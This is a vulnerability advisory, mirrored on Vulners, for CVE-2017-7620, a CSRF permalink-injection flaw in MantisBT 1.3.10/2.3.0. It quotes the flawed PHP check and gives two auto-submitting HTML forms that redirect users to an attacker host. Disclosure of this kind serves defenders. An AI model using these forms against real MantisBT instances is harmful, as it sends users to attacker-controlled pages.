Lucene search
+L

Mantis Bug Tracker 1.3.10/2.3.0 - Cross-Site Request Forgery Vulnerability

🗓️ 21 May 2017 00:00:00Reported by hyp3rlinxType 
zdt
 zdt
🔗 0day.today👁 78 Views

MantisBT 1.3.10/2.3.0 CSRF Permalink Injectio

Related
Code
ReporterTitlePublishedViews
Family
cnvd
CNVD
MantisBT Cross-Site Request Forgery Vulnerability
23 May 201700:00
–cnvd
cve
CVE
CVE-2017-7620
21 May 201714:00
–cve
cvelist
Cvelist
CVE-2017-7620
21 May 201714:00
–cvelist
exploitdb
Exploit DB
Mantis Bug Tracker 1.3.10/2.3.0 - Cross-Site Request Forgery
20 May 201700:00
–exploitdb
euvd
EUVD
EUVD-2017-16625
7 Oct 202500:30
–euvd
exploitpack
exploitpack
Mantis Bug Tracker 1.3.102.3.0 - Cross-Site Request Forgery
20 May 201700:00
–exploitpack
github
Github Security Blog
MantisBT vulnerable to CSRF and Open Redirect attacks
17 May 202202:34
–github
mend
Mend
CVE-2017-7620
21 May 201714:00
–mend
nvd
NVD
CVE-2017-7620
21 May 201714:29
–nvd
openvas
OpenVAS
MantisBT < 1.3.11, 2.x < 2.3.3, 2.4.0 CSRF Vulnerability - Linux
23 May 201700:00
–openvas
Rows per page
[+] Credits: John Page a.k.a hyp3rlinx  
 
Vendor:
================
www.mantisbt.org
  
Product:
=========
Mantis Bug Tracker
1.3.10 / v2.3.0
 
 
MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.
 
 
 
Vulnerability Type:
========================
CSRF Permalink Injection
 
  
CVE Reference:
==============
CVE-2017-7620
 
 
 Security Issue:
================
Remote attackers can inject arbitrary permalinks into the mantisbt Web Interface if an authenticated user visits a malicious webpage.
 
Vuln code in "string_api.php" PHP file, under mantis/core/ did not account for supplied backslashes.
Line: 270
 
# Check for URL's pointing to other domains
 
if( 0 == $t_type || empty( $t_matches['script'] ) ||
     
    3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) {
 
     
 
    return ( $p_return_absolute ? $t_path . '/' : '' ) . 'index.php';
 
}
 
 
 
# Start extracting regex matches
 
$t_script = $t_matches['script'];       
$t_script_path = $t_matches['path'];
 
 
 
 
Exploit/POC:
=============
<form action="http://VICTIM-IP/mantisbt-2.3.0/permalink_page.php?url=\/ATTACKER-IP" method="POST">
<script>document.forms[0].submit()</script>
</form>
 
OR
 
<form action="http://VICTIM-IP/permalink_page.php?url=\/ATTACKER-IP%2Fmantisbt-2.3.0%2Fsearch.php%3Fproject_id%3D1%26sticky%3Don%26sort%3Dlast_updated%26dir%3DDESC%26hide_status%3D90%26match_type%3D0" method="POST">
<script>document.forms[0].submit()</script>
</form>

#  0day.today [2018-01-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 May 2017 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.01359
78